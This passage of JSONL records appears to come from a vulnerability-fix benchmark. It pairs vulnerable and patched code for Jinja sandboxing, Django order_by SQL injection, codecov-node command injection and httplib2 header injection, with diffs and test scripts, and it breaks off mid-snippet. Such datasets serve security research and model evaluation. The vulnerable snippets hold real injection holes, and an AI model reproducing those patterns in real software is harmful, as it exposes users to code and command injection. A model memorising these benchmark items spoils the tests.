'{}'\".format(orig))"}], "fix_func": [{"id": "fix_py_386_1", "commit": "bcd90f0dafa365575c4b101e6f5d98c4ef4e4b69", "file_path": "templated_dictionary/__init__.py", "start_line": 11, "end_line": 28, "snippet": "    def __init__(self, *args, alias_spec=None, **kwargs):\n        '''\n        Use the object dict.\n\n        Optional parameter 'alias_spec' is dictionary of form:\n        {'aliased_to': ['alias_one', 'alias_two', ...], ...}\n        When specified, and one of the aliases is accessed - the\n        'aliased_to' config option is returned.\n        '''\n        self.__dict__.update(*args, **kwargs)\n\n        self.sandbox = sandbox.SandboxedEnvironment(keep_trailing_newline=True)\n\n        self._aliases = {}\n        if alias_spec:\n            for aliased_to, aliases in alias_spec.items():\n                for alias in aliases:\n                    self._aliases[alias] = aliased_to"}, {"id": "fix_py_386_2", "commit": "bcd90f0dafa365575c4b101e6f5d98c4ef4e4b69", "file_path": "templated_dictionary/__init__.py", "start_line": 81, "end_line": 89, "snippet": "    def __render_string(self, value):\n        orig = last = value\n        max_recursion = self.__dict__.get('jinja_max_recursion', 5)\n        for _ in range(max_recursion):\n            value = _to_native(self.sandbox.from_string(value).render(self.__dict__, func=lambda:None))\n            if value == last:\n                return value\n            last = value\n        raise ValueError(\"too deep jinja re-evaluation on '{}'\".format(orig))"}], "vul_patch": "--- a/templated_dictionary/__init__.py\n+++ b/templated_dictionary/__init__.py\n@@ -9,6 +9,8 @@\n         '''\n         self.__dict__.update(*args, **kwargs)\n \n+        self.sandbox = sandbox.SandboxedEnvironment(keep_trailing_newline=True)\n+\n         self._aliases = {}\n         if alias_spec:\n             for aliased_to, aliases in alias_spec.items():\n\n--- a/templated_dictionary/__init__.py\n+++ b/templated_dictionary/__init__.py\n@@ -2,8 +2,7 @@\n         orig = last = value\n         max_recursion = self.__dict__.get('jinja_max_recursion', 5)\n         for _ in range(max_recursion):\n-            template = jinja2.Template(value, keep_trailing_newline=True)\n-            value = _to_native(template.render(self.__dict__))\n+            value = _to_native(self.sandbox.from_string(value).render(self.__dict__, func=lambda:None))\n             if value == last:\n                 return value\n             last = value\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2021-35042", "cve_description": "Django 3.1.x before 3.1.13 and 3.2.x before 3.2.5 allows QuerySet.order_by SQL injection if order_by is untrusted input from a client of a web application.", "cwe_info": {"CWE-89": {"name": "Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')", "description": "The product constructs all or part of an SQL command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended SQL command when it is sent to a downstream component. Without sufficient removal or quoting of SQL syntax in user-controllable inputs, the generated SQL query can cause those inputs to be interpreted as SQL instead of ordinary user data."}}, "repo": "https://github.com/django/django", "patch_url": ["https://github.com/django/django/commit/0bd57a879a0d54920bb9038a732645fb917040e9", "https://github.com/django/django/commit/dae83a24519d6f284c74414e0b81d64d9b5a0db4", "https://github.com/django/django/commit/a34a5f724c5d5adb2109374ba3989ebb7b11f81f"], "programing_language": "Python", "vul_func": [{"id": "vul_py_5_1", "commit": "8dc1cc0", "file_path": "django/db/models/sql/query.py", "start_line": 1888, "end_line": 1932, "snippet": "    def add_ordering(self, *ordering):\n        \"\"\"\n        Add items from the 'ordering' sequence to the query's \"order by\"\n        clause. These items are either field names (not column names) --\n        possibly with a direction prefix ('-' or '?') -- or OrderBy\n        expressions.\n\n        If 'ordering' is empty, clear all ordering from the query.\n        \"\"\"\n        errors = []\n        for item in ordering:\n            if isinstance(item, str):\n                if '.' in item:\n                    warnings.warn(\n                        'Passing column raw column aliases to order_by() is '\n                        'deprecated. Wrap %r in a RawSQL expression before '\n                        'passing it to order_by().' % item,\n                        category=RemovedInDjango40Warning,\n                        stacklevel=3,\n                    )\n                    continue\n                if item == '?':\n                    continue\n                if item.startswith('-'):\n                    item = item[1:]\n                if item in self.annotations:\n                    continue\n                if self.extra and item in self.extra:\n                    continue\n                # names_to_path() validates the lookup. A descriptive\n                # FieldError will be raise if it's not.\n                self.names_to_path(item.split(LOOKUP_SEP), self.model._meta)\n            elif not hasattr(item, 'resolve_expression'):\n                errors.append(item)\n            if getattr(item, 'contains_aggregate', False):\n                raise FieldError(\n                    'Using an aggregate in order_by() without also including '\n                    'it in annotate() is not allowed: %s' % item\n                )\n        if errors:\n            raise FieldError('Invalid order_by arguments: %s' % errors)\n        if ordering:\n            self.order_by += ordering\n        else:\n            self.default_ordering = False"}], "fix_func": [{"id": "fix_py_5_1", "commit": "0bd57a879a0d54920bb9038a732645fb917040e9", "file_path": "django/db/models/sql/query.py", "start_line": 1890, "end_line": 1934, "snippet": "    def add_ordering(self, *ordering):\n        \"\"\"\n        Add items from the 'ordering' sequence to the query's \"order by\"\n        clause. These items are either field names (not column names) --\n        possibly with a direction prefix ('-' or '?') -- or OrderBy\n        expressions.\n\n        If 'ordering' is empty, clear all ordering from the query.\n        \"\"\"\n        errors = []\n        for item in ordering:\n            if isinstance(item, str):\n                if '.' in item and ORDER_PATTERN.match(item):\n                    warnings.warn(\n                        'Passing column raw column aliases to order_by() is '\n                        'deprecated. Wrap %r in a RawSQL expression before '\n                        'passing it to order_by().' % item,\n                        category=RemovedInDjango40Warning,\n                        stacklevel=3,\n                    )\n                    continue\n                if item == '?':\n                    continue\n                if item.startswith('-'):\n                    item = item[1:]\n                if item in self.annotations:\n                    continue\n                if self.extra and item in self.extra:\n                    continue\n                # names_to_path() validates the lookup. A descriptive\n                # FieldError will be raise if it's not.\n                self.names_to_path(item.split(LOOKUP_SEP), self.model._meta)\n            elif not hasattr(item, 'resolve_expression'):\n                errors.append(item)\n            if getattr(item, 'contains_aggregate', False):\n                raise FieldError(\n                    'Using an aggregate in order_by() without also including '\n                    'it in annotate() is not allowed: %s' % item\n                )\n        if errors:\n            raise FieldError('Invalid order_by arguments: %s' % errors)\n        if ordering:\n            self.order_by += ordering\n        else:\n            self.default_ordering = False"}, {"id": "fix_py_5_2", "commit": "0bd57a879a0d54920bb9038a732645fb917040e9", "file_path": "django/db/models/sql/constants.py", "start_line": 22, "end_line": 22, "snippet": "ORDER_PATTERN = _lazy_re_compile(r'[-+]?[.\\w]+$')"}], "vul_patch": "--- a/django/db/models/sql/query.py\n+++ b/django/db/models/sql/query.py\n@@ -10,7 +10,7 @@\n         errors = []\n         for item in ordering:\n             if isinstance(item, str):\n-                if '.' in item:\n+                if '.' in item and ORDER_PATTERN.match(item):\n                     warnings.warn(\n                         'Passing column raw column aliases to order_by() is '\n                         'deprecated. Wrap %r in a RawSQL expression before '\n\n--- /dev/null\n+++ b/django/db/models/sql/query.py\n@@ -0,0 +1 @@\n+ORDER_PATTERN = _lazy_re_compile(r'[-+]?[.\\w]+$')\n\n", "poc_test_cmd": "#!/bin/bash\n# From ghcr.io/anonymous2578-data/cve-2021-35042:latest\n# bash /workspace/fix-run.sh\nset -e\n\ncd /workspace/django\ngit apply --whitespace=nowarn /workspace/test.patch /workspace/fix.patch\ncd tests && /workspace/PoC_env/CVE-2021-35042/bin/python ./runtests.py queries.tests.QuerySetExceptionTests.test_order_by_escape_prevention\n", "unit_test_cmd": "#!/bin/bash\n# From ghcr.io/anonymous2578-data/cve-2021-35042:latest\n# bash /workspace/unit_test.sh\nset -e\n\ncd /workspace/django\ngit apply --whitespace=nowarn /workspace/fix.patch\ncd tests && /workspace/PoC_env/CVE-2021-35042/bin/python ./runtests.py queries.tests\n"}
{"cve_id": "CVE-2020-7597", "cve_description": "codecov-node npm module before 3.6.5 allows remote attackers to execute arbitrary commands.The value provided as part of the gcov-root argument is executed by the exec function within lib/codecov.js. This vulnerability exists due to an incomplete fix of CVE-2020-7596.", "cwe_info": {"CWE-94": {"name": "Improper Control of Generation of Code ('Code Injection')", "description": "The product constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment."}, "CWE-77": {"name": "Improper Neutralization of Special Elements used in a Command ('Command Injection')", "description": "The product constructs all or part of a command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended command when it is sent to a downstream component."}, "CWE-78": {"name": "Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')", "description": "The product constructs all or part of an OS command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended OS command when it is sent to a downstream component."}}, "repo": "https://github.com/codecov/codecov-node", "patch_url": ["https://github.com/codecov/codecov-node/commit/02cf13d8b93ac547b5b4c2cfe186b7d874fd234f"], "programing_language": "JavaScript", "vul_func": [{"id": "vul_js_204_1", "commit": "bac0787", "file_path": "lib/codecov.js", "start_line": 239, "end_line": 557, "snippet": "var upload = function(args, on_success, on_failure) {\n  // Build query\n  var codecov_endpoint =\n    args.options.url ||\n    process.env.codecov_url ||\n    process.env.CODECOV_URL ||\n    'https://codecov.io'\n  var query = {}\n  var debug = []\n  var yamlFile =\n    args.options.yml ||\n    process.env.codecov_yml ||\n    process.env.CODECOV_YML ||\n    'codecov.yml'\n\n  console.log(\n    '' +\n      '  _____          _  \\n' +\n      ' / ____|        | |  \\n' +\n      '| |     ___   __| | ___  ___ _____   __  \\n' +\n      '| |    / _ \\\\ / _` |/ _ \\\\/ __/ _ \\\\ \\\\ / /  \\n' +\n      '| |___| (_) | (_| |  __/ (_| (_) \\\\ V /  \\n' +\n      ' \\\\_____\\\\___/ \\\\__,_|\\\\___|\\\\___\\\\___/ \\\\_/  \\n' +\n      '                                ' +\n      version\n  )\n\n  if ((args.options.disable || '').split(',').indexOf('detect') === -1) {\n    console.log('==> Detecting CI Provider')\n    query = detectProvider()\n  } else {\n    debug.push('disabled detect')\n  }\n\n  query.yaml = [yamlFile, '.codecov.yml'].reduce(function(result, file) {\n    return (\n      result ||\n      (fs.existsSync(path.resolve(process.cwd(), file))\n        ? path.resolve(process.cwd(), file)\n        : undefined)\n    )\n  }, undefined)\n\n  if (args.options.build) {\n    query.build = args.options.build\n  }\n\n  if (args.options.commit) {\n    query.commit = args.options.commit\n  }\n\n  if (args.options.branch) {\n    query.branch = args.options.branch\n  }\n\n  if (args.options.slug) {\n    query.slug = args.options.slug\n  }\n\n  var flags =\n    args.options.flags || process.env.codecov_flags || process.env.CODECOV_FLAGS\n  if (flags) {\n    query.flags = flags\n  }\n\n  var yamlToken\n  try {\n    var loadedYamlFile = jsYaml.safeLoad(fs.readFileSync(query.yaml, 'utf8'))\n    yamlToken =\n      loadedYamlFile && loadedYamlFile.codecov && loadedYamlFile.codecov.token\n  } catch (e) {\n    // silently fail\n  }\n  var token =\n    args.options.token ||\n    yamlToken ||\n    process.env.codecov_token ||\n    process.env.CODECOV_TOKEN\n  if (token) {\n    query.token = token\n  }\n\n  query.package = 'node-' + version\n\n  console.log('==> Configuration: ')\n  console.log('    Endpoint: ' + codecov_endpoint)\n  // Don't output `query` directly as it contains the upload token\n  console.log({\n    commit: query.commit,\n    branch: query.branch,\n    package: query.package,\n  })\n\n  var upload = ''\n\n  // Add specified env vars\n  var env_found = false\n  if (args.options.env || process.env.CODECOV_ENV || process.env.codecov_env) {\n    var env = (\n      args.options.env +\n      ',' +\n      (process.env.CODECOV_ENV || '') +\n      ',' +\n      (process.env.codecov_env || '')\n    ).split(',')\n    for (var i = env.length - 1; i >= 0; i--) {\n      if (env[i]) {\n        upload += env[i] + '=' + (process.env[env[i]] || '').toString() + '\\n'\n        env_found = true\n      }\n    }\n    if (env_found) {\n      upload += '<<<<<< ENV\\n'\n    }\n  }\n\n  // List git files\n  var root = path.resolve(args.options.root || query.root || '.')\n  console.log('==> Building file structure')\n  try {\n    upload +=\n      execSync('git ls-files || hg locate', { cwd: root })\n        .toString()\n        .trim() + '\\n<<<<<< network\\n'\n  } catch (err) {\n    // not a git/hg dir, emulating git/hg ignore behavior\n    upload +=\n      walk\n        .sync({ path: root, ignoreFiles: ['.gitignore', '.hgignore'] })\n        .join('\\n')\n        .trim() + '\\n<<<<<< network\\n'\n  }\n  // Make gcov reports\n  if ((args.options.disable || '').split(',').indexOf('gcov') === -1) {\n    try {\n      console.log('==> Generating gcov reports (skip via --disable=gcov)')\n      var gcg = args.options['gcov-glob'] || ''\n      if (gcg) {\n        if (!isWindows) {\n          gcg = gcg\n            .split(' ')\n            .map(function(p) {\n              return \"-not -path '\" + p + \"'\"\n            })\n            .join(' ')\n        } else {\n          gcg = gcg\n            .split(' ')\n            .map(function(p) {\n              return '^| findstr /i /v ' + p\n            })\n            .join(' ')\n        }\n      }\n      var gcov\n      if (!isWindows) {\n        gcov =\n          'find ' +\n          (args.options['gcov-root'] || root) +\n          \" -type f -name '*.gcno' \" +\n          gcg +\n          ' -exec ' +\n          (validator.escape(args.options['gcov-exec']) || 'gcov') +\n          ' ' +\n          (validator.escape(args.options['gcov-args']) || '') +\n          ' {} +'\n      } else {\n        // @TODO support for root\n        // not straight forward due to nature of windows command dir\n        gcov =\n          'for /f \"delims=\" %g in (\\'dir /a-d /b /s *.gcno ' +\n          gcg +\n          \"') do \" +\n          (args.options['gcov-exec'] || 'gcov') +\n          ' ' +\n          (args.options['gcov-args'] || '') +\n          ' %g'\n      }\n      debug.push(gcov)\n      console.log('    $ ' + gcov)\n      execSync(gcov)\n    } catch (e) {\n      console.log('    Failed to run gcov command.')\n    }\n  } else {\n    debug.push('disabled gcov')\n  }\n\n  // Detect .bowerrc\n  var bowerrc\n  if (!isWindows) {\n    bowerrc = execSync('test -f .bowerrc && cat .bowerrc || echo \"\"', {\n      cwd: root,\n    })\n      .toString()\n      .trim()\n  } else {\n    bowerrc = execSync('if exist .bowerrc type .bowerrc', { cwd: root })\n      .toString()\n      .trim()\n  }\n  if (bowerrc) {\n    bowerrc = JSON.parse(bowerrc).directory\n    if (bowerrc) {\n      if (!isWindows) {\n        more_patterns =\n          \" -not -path '*/\" + bowerrc.toString().replace(/\\/$/, '') + \"/*'\"\n      } else {\n        more_patterns =\n          '| findstr /i /v \\\\' + bowerrc.toString().replace(/\\/$/, '') + '\\\\'\n      }\n    }\n  }\n\n  var files = [],\n    file = null\n  if (args.options.pipe) {\n    // Append piped reports\n    upload += '# path=piped\\n' + args.options.pipe.join('') + '\\n<<<<<< EOF\\n'\n    console.log('==> Reading report from stdin')\n  } else if (args.options.file) {\n    // Append manually entered reports\n    file = args.options.file\n    console.log('==> Targeting specific file')\n    try {\n      upload +=\n        '# path=' +\n        file +\n        '\\n' +\n        fs.readFileSync(file, 'utf8').toString() +\n        '\\n<<<<<< EOF\\n'\n      console.log('    + ' + file)\n      files.push(file)\n    } catch (e) {\n      debug.push('failed: ' + file.split('/').pop())\n      console.log('    X Failed to read file at ' + file)\n    }\n  } else if ((args.options.disable || '').split(',').indexOf('search') === -1) {\n    console.log('==> Scanning for reports')\n    var _files\n    if (!isWindows) {\n      _files = execSync('find ' + root + ' ' + patterns + more_patterns)\n        .toString()\n        .trim()\n        .split('\\n')\n    } else {\n      // @TODO support for a root directory\n      // It's not straightforward due to the nature of the dir command\n      _files = execSync('dir ' + patterns + more_patterns)\n        .toString()\n        .trim()\n        .split('\\r\\n')\n    }\n    if (_files) {\n      for (var i2 = _files.length - 1; i2 >= 0; i2--) {\n        file = _files[i2]\n        try {\n          upload +=\n            '# path=' +\n            file +\n            '\\n' +\n            fs.readFileSync(file, 'utf8').toString() +\n            '\\n<<<<<< EOF\\n'\n          console.log('    + ' + file)\n          files.push(file)\n        } catch (e) {\n          debug.push('failed: ' + file.split('/').pop())\n          console.log('    X Failed to read file at ' + file)\n        }\n      }\n    }\n  } else {\n    debug.push('disabled search')\n  }\n\n  if (files) {\n    // Upload to Codecov\n    if (args.options.dump) {\n      console.log('-------- DEBUG START --------')\n      console.log(upload)\n      console.log('-------- DEBUG END --------')\n    } else {\n      console.log('==> Uploading reports')\n      var _upload\n      if ((args.options.disable || '').split(',').indexOf('s3') === -1) {\n        _upload = sendToCodecovV3\n      } else {\n        _upload = sendToCodecovV2\n      }\n      _upload(\n        codecov_endpoint,\n        query,\n        upload,\n        function() {\n          // remove files after Uploading\n          if (args.options.clear) {\n            for (var i = files.length - 1; i >= 0; i--) {\n              try {\n                fs.unlinkSync(files[i])\n              } catch (e) {}\n            }\n          }\n          if (on_success) {\n            on_success.apply(this, arguments)\n          }\n        },\n        on_failure || function() {}\n      )\n    }\n  }\n\n  return {\n    body: upload,\n    files: files,\n    query: query,\n    debug: debug,\n    url: codecov_endpoint,\n  }\n}"}], "fix_func": [{"id": "fix_js_204_1", "commit": "02cf13d", "file_path": "lib/codecov.js", "start_line": 238, "end_line": 556, "snippet": "var upload = function(args, on_success, on_failure) {\n  // Build query\n  var codecov_endpoint =\n    args.options.url ||\n    process.env.codecov_url ||\n    process.env.CODECOV_URL ||\n    'https://codecov.io'\n  var query = {}\n  var debug = []\n  var yamlFile =\n    args.options.yml ||\n    process.env.codecov_yml ||\n    process.env.CODECOV_YML ||\n    'codecov.yml'\n\n  console.log(\n    '' +\n      '  _____          _  \\n' +\n      ' / ____|        | |  \\n' +\n      '| |     ___   __| | ___  ___ _____   __  \\n' +\n      '| |    / _ \\\\ / _` |/ _ \\\\/ __/ _ \\\\ \\\\ / /  \\n' +\n      '| |___| (_) | (_| |  __/ (_| (_) \\\\ V /  \\n' +\n      ' \\\\_____\\\\___/ \\\\__,_|\\\\___|\\\\___\\\\___/ \\\\_/  \\n' +\n      '                                ' +\n      version\n  )\n\n  if ((args.options.disable || '').split(',').indexOf('detect') === -1) {\n    console.log('==> Detecting CI Provider')\n    query = detectProvider()\n  } else {\n    debug.push('disabled detect')\n  }\n\n  query.yaml = [yamlFile, '.codecov.yml'].reduce(function(result, file) {\n    return (\n      result ||\n      (fs.existsSync(path.resolve(process.cwd(), file))\n        ? path.resolve(process.cwd(), file)\n        : undefined)\n    )\n  }, undefined)\n\n  if (args.options.build) {\n    query.build = args.options.build\n  }\n\n  if (args.options.commit) {\n    query.commit = args.options.commit\n  }\n\n  if (args.options.branch) {\n    query.branch = args.options.branch\n  }\n\n  if (args.options.slug) {\n    query.slug = args.options.slug\n  }\n\n  var flags =\n    args.options.flags || process.env.codecov_flags || process.env.CODECOV_FLAGS\n  if (flags) {\n    query.flags = flags\n  }\n\n  var yamlToken\n  try {\n    var loadedYamlFile = jsYaml.safeLoad(fs.readFileSync(query.yaml, 'utf8'))\n    yamlToken =\n      loadedYamlFile && loadedYamlFile.codecov && loadedYamlFile.codecov.token\n  } catch (e) {\n    // silently fail\n  }\n  var token =\n    args.options.token ||\n    yamlToken ||\n    process.env.codecov_token ||\n    process.env.CODECOV_TOKEN\n  if (token) {\n    query.token = token\n  }\n\n  query.package = 'node-' + version\n\n  console.log('==> Configuration: ')\n  console.log('    Endpoint: ' + codecov_endpoint)\n  // Don't output `query` directly as it contains the upload token\n  console.log({\n    commit: query.commit,\n    branch: query.branch,\n    package: query.package,\n  })\n\n  var upload = ''\n\n  // Add specified env vars\n  var env_found = false\n  if (args.options.env || process.env.CODECOV_ENV || process.env.codecov_env) {\n    var env = (\n      args.options.env +\n      ',' +\n      (process.env.CODECOV_ENV || '') +\n      ',' +\n      (process.env.codecov_env || '')\n    ).split(',')\n    for (var i = env.length - 1; i >= 0; i--) {\n      if (env[i]) {\n        upload += env[i] + '=' + (process.env[env[i]] || '').toString() + '\\n'\n        env_found = true\n      }\n    }\n    if (env_found) {\n      upload += '<<<<<< ENV\\n'\n    }\n  }\n\n  // List git files\n  var root = path.resolve(args.options.root || query.root || '.')\n  console.log('==> Building file structure')\n  try {\n    upload +=\n      execSync('git ls-files || hg locate', { cwd: root })\n        .toString()\n        .trim() + '\\n<<<<<< network\\n'\n  } catch (err) {\n    // not a git/hg dir, emulating git/hg ignore behavior\n    upload +=\n      walk\n        .sync({ path: root, ignoreFiles: ['.gitignore', '.hgignore'] })\n        .join('\\n')\n        .trim() + '\\n<<<<<< network\\n'\n  }\n  // Make gcov reports\n  if ((args.options.disable || '').split(',').indexOf('gcov') === -1) {\n    try {\n      console.log('==> Generating gcov reports (skip via --disable=gcov)')\n      var gcg = args.options['gcov-glob'] || ''\n      if (gcg) {\n        if (!isWindows) {\n          gcg = gcg\n            .split(' ')\n            .map(function(p) {\n              return \"-not -path '\" + p + \"'\"\n            })\n            .join(' ')\n        } else {\n          gcg = gcg\n            .split(' ')\n            .map(function(p) {\n              return '^| findstr /i /v ' + p\n            })\n            .join(' ')\n        }\n      }\n      var gcov\n      if (!isWindows) {\n        gcov =\n          'find ' +\n          (sanitizeVar(args.options['gcov-root']) || root) +\n          \" -type f -name '*.gcno' \" +\n          gcg +\n          ' -exec ' +\n          (sanitizeVar(args.options['gcov-exec']) || 'gcov') +\n          ' ' +\n          (sanitizeVar(args.options['gcov-args']) || '') +\n          ' {} +'\n      } else {\n        // @TODO support for root\n        // not straight forward due to nature of windows command dir\n        gcov =\n          'for /f \"delims=\" %g in (\\'dir /a-d /b /s *.gcno ' +\n          gcg +\n          \"') do \" +\n          (sanitizeVar(args.options['gcov-exec']) || 'gcov') +\n          ' ' +\n          (sanitizeVar(args.options['gcov-args']) || '') +\n          ' %g'\n      }\n      debug.push(gcov)\n      console.log('    $ ' + gcov)\n      execSync(gcov)\n    } catch (e) {\n      console.log('    Failed to run gcov command.')\n    }\n  } else {\n    debug.push('disabled gcov')\n  }\n\n  // Detect .bowerrc\n  var bowerrc\n  if (!isWindows) {\n    bowerrc = execSync('test -f .bowerrc && cat .bowerrc || echo \"\"', {\n      cwd: root,\n    })\n      .toString()\n      .trim()\n  } else {\n    bowerrc = execSync('if exist .bowerrc type .bowerrc', { cwd: root })\n      .toString()\n      .trim()\n  }\n  if (bowerrc) {\n    bowerrc = JSON.parse(bowerrc).directory\n    if (bowerrc) {\n      if (!isWindows) {\n        more_patterns =\n          \" -not -path '*/\" + bowerrc.toString().replace(/\\/$/, '') + \"/*'\"\n      } else {\n        more_patterns =\n          '| findstr /i /v \\\\' + bowerrc.toString().replace(/\\/$/, '') + '\\\\'\n      }\n    }\n  }\n\n  var files = [],\n    file = null\n  if (args.options.pipe) {\n    // Append piped reports\n    upload += '# path=piped\\n' + args.options.pipe.join('') + '\\n<<<<<< EOF\\n'\n    console.log('==> Reading report from stdin')\n  } else if (args.options.file) {\n    // Append manually entered reports\n    file = args.options.file\n    console.log('==> Targeting specific file')\n    try {\n      upload +=\n        '# path=' +\n        file +\n        '\\n' +\n        fs.readFileSync(file, 'utf8').toString() +\n        '\\n<<<<<< EOF\\n'\n      console.log('    + ' + file)\n      files.push(file)\n    } catch (e) {\n      debug.push('failed: ' + file.split('/').pop())\n      console.log('    X Failed to read file at ' + file)\n    }\n  } else if ((args.options.disable || '').split(',').indexOf('search') === -1) {\n    console.log('==> Scanning for reports')\n    var _files\n    if (!isWindows) {\n      _files = execSync('find ' + root + ' ' + patterns + more_patterns)\n        .toString()\n        .trim()\n        .split('\\n')\n    } else {\n      // @TODO support for a root directory\n      // It's not straightforward due to the nature of the dir command\n      _files = execSync('dir ' + patterns + more_patterns)\n        .toString()\n        .trim()\n        .split('\\r\\n')\n    }\n    if (_files) {\n      for (var i2 = _files.length - 1; i2 >= 0; i2--) {\n        file = _files[i2]\n        try {\n          upload +=\n            '# path=' +\n            file +\n            '\\n' +\n            fs.readFileSync(file, 'utf8').toString() +\n            '\\n<<<<<< EOF\\n'\n          console.log('    + ' + file)\n          files.push(file)\n        } catch (e) {\n          debug.push('failed: ' + file.split('/').pop())\n          console.log('    X Failed to read file at ' + file)\n        }\n      }\n    }\n  } else {\n    debug.push('disabled search')\n  }\n\n  if (files) {\n    // Upload to Codecov\n    if (args.options.dump) {\n      console.log('-------- DEBUG START --------')\n      console.log(upload)\n      console.log('-------- DEBUG END --------')\n    } else {\n      console.log('==> Uploading reports')\n      var _upload\n      if ((args.options.disable || '').split(',').indexOf('s3') === -1) {\n        _upload = sendToCodecovV3\n      } else {\n        _upload = sendToCodecovV2\n      }\n      _upload(\n        codecov_endpoint,\n        query,\n        upload,\n        function() {\n          // remove files after Uploading\n          if (args.options.clear) {\n            for (var i = files.length - 1; i >= 0; i--) {\n              try {\n                fs.unlinkSync(files[i])\n              } catch (e) {}\n            }\n          }\n          if (on_success) {\n            on_success.apply(this, arguments)\n          }\n        },\n        on_failure || function() {}\n      )\n    }\n  }\n\n  return {\n    body: upload,\n    files: files,\n    query: query,\n    debug: debug,\n    url: codecov_endpoint,\n  }\n}"}], "vul_patch": "--- a/lib/codecov.js\n+++ b/lib/codecov.js\n@@ -156,13 +156,13 @@\n       if (!isWindows) {\n         gcov =\n           'find ' +\n-          (args.options['gcov-root'] || root) +\n+          (sanitizeVar(args.options['gcov-root']) || root) +\n           \" -type f -name '*.gcno' \" +\n           gcg +\n           ' -exec ' +\n-          (validator.escape(args.options['gcov-exec']) || 'gcov') +\n+          (sanitizeVar(args.options['gcov-exec']) || 'gcov') +\n           ' ' +\n-          (validator.escape(args.options['gcov-args']) || '') +\n+          (sanitizeVar(args.options['gcov-args']) || '') +\n           ' {} +'\n       } else {\n         // @TODO support for root\n@@ -171,9 +171,9 @@\n           'for /f \"delims=\" %g in (\\'dir /a-d /b /s *.gcno ' +\n           gcg +\n           \"') do \" +\n-          (args.options['gcov-exec'] || 'gcov') +\n+          (sanitizeVar(args.options['gcov-exec']) || 'gcov') +\n           ' ' +\n-          (args.options['gcov-args'] || '') +\n+          (sanitizeVar(args.options['gcov-args']) || '') +\n           ' %g'\n       }\n       debug.push(gcov)\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2020-11078", "cve_description": "In httplib2 before version 0.18.0, an attacker controlling unescaped part of uri for `httplib2.Http.request()` could change request headers and body, send additional hidden requests to same server. This vulnerability impacts software that uses httplib2 with uri constructed by string concatenation, as opposed to proper urllib building with escaping. This has been fixed in 0.18.0.", "cwe_info": {"CWE-74": {"name": "Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection')", "description": "The product constructs all or part of a command, data structure, or record using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify how it is parsed or interpreted when it is sent to a downstream component."}}, "repo": "https://github.com/httplib2/httplib2", "patch_url": ["https://github.com/httplib2/httplib2/commit/a1457cc31f3206cf691d11d2bf34e98865873e9e"], "programing_language": "Python", "vul_func": [{"id": "vul_py_157_1", "commit": "9413ffc", "file_path": "python2/httplib2/__init__.py", "start_line": 1946, "end_line": 2227, "snippet": "    def request(\n        self,\n        uri,\n        method=\"GET\",\n        body=None,\n        headers=None,\n        redirections=DEFAULT_MAX_REDIRECTS,\n        connection_type=None,\n    ):\n        \"\"\" Performs a single HTTP request.\n\n        The 'uri' is the URI of the HTTP resource and can begin with either\n        'http' or 'https'. The value of 'uri' must be an absolute URI.\n\n        The 'method' is the HTTP method to perform, such as GET, POST, DELETE,\n        etc. There is no restriction on the methods allowed.\n\n        The 'body' is the entity body to be sent with the request. It is a\n        string object.\n\n        Any extra headers that are to be sent with the request should be\n        provided in the 'headers' dictionary.\n\n        The maximum number of redirect to follow before raising an\n        exception is 'redirections. The default is 5.\n\n        The return value is a tuple of (response, content), the first\n        being and instance of the 'Response' class, the second being\n        a string that contains the response entity body.\n        \"\"\"\n        conn_key = ''\n\n        try:\n            if headers is None:\n                headers = {}\n            else:\n                headers = self._normalize_headers(headers)\n\n            if \"user-agent\" not in headers:\n                headers[\"user-agent\"] = \"Python-httplib2/%s (gzip)\" % __version__\n\n            uri = iri2uri(uri)\n\n            (scheme, authority, request_uri, defrag_uri) = urlnorm(uri)\n\n            proxy_info = self._get_proxy_info(scheme, authority)\n\n            conn_key = scheme + \":\" + authority\n            conn = self.connections.get(conn_key)\n            if conn is None:\n                if not connection_type:\n                    connection_type = SCHEME_TO_CONNECTION[scheme]\n                certs = list(self.certificates.iter(authority))\n                if scheme == \"https\":\n                    if certs:\n                        conn = self.connections[conn_key] = connection_type(\n                            authority,\n                            key_file=certs[0][0],\n                            cert_file=certs[0][1],\n                            timeout=self.timeout,\n                            proxy_info=proxy_info,\n                            ca_certs=self.ca_certs,\n                            disable_ssl_certificate_validation=self.disable_ssl_certificate_validation,\n                            ssl_version=self.ssl_version,\n                            key_password=certs[0][2],\n                        )\n                    else:\n                        conn = self.connections[conn_key] = connection_type(\n                            authority,\n                            timeout=self.timeout,\n                            proxy_info=proxy_info,\n                            ca_certs=self.ca_certs,\n                            disable_ssl_certificate_validation=self.disable_ssl_certificate_validation,\n                            ssl_version=self.ssl_version,\n                        )\n                else:\n                    conn = self.connections[conn_key] = connection_type(\n                        authority, timeout=self.timeout, proxy_info=proxy_info\n                    )\n                conn.set_debuglevel(debuglevel)\n\n            if \"range\" not in headers and \"accept-encoding\" not in headers:\n                headers[\"accept-encoding\"] = \"gzip, deflate\"\n\n            info = email.Message.Message()\n            cachekey = None\n            cached_value = None\n            if self.cache:\n                cachekey = defrag_uri.encode(\"utf-8\")\n                cached_value = self.cache.get(cachekey)\n                if cached_value:\n                    # info = email.message_from_string(cached_value)\n                    #\n                    # Need to replace the line above with the kludge below\n                    # to fix the non-existent bug not fixed in this\n                    # bug report: http://mail.python.org/pipermail/python-bugs-list/2005-September/030289.html\n                    try:\n                        info, content = cached_value.split(\"\\r\\n\\r\\n\", 1)\n                        feedparser = email.FeedParser.FeedParser()\n                        feedparser.feed(info)\n                        info = feedparser.close()\n                        feedparser._parse = None\n                    except (IndexError, ValueError):\n                        self.cache.delete(cachekey)\n                        cachekey = None\n                        cached_value = None\n\n            if (\n                method in self.optimistic_concurrency_methods\n                and self.cache\n                and \"etag\" in info\n                and not self.ignore_etag\n                and \"if-match\" not in headers\n            ):\n                # http://www.w3.org/1999/04/Editing/\n                headers[\"if-match\"] = info[\"etag\"]\n\n            # https://tools.ietf.org/html/rfc7234\n            # A cache MUST invalidate the effective Request URI as well as [...] Location and 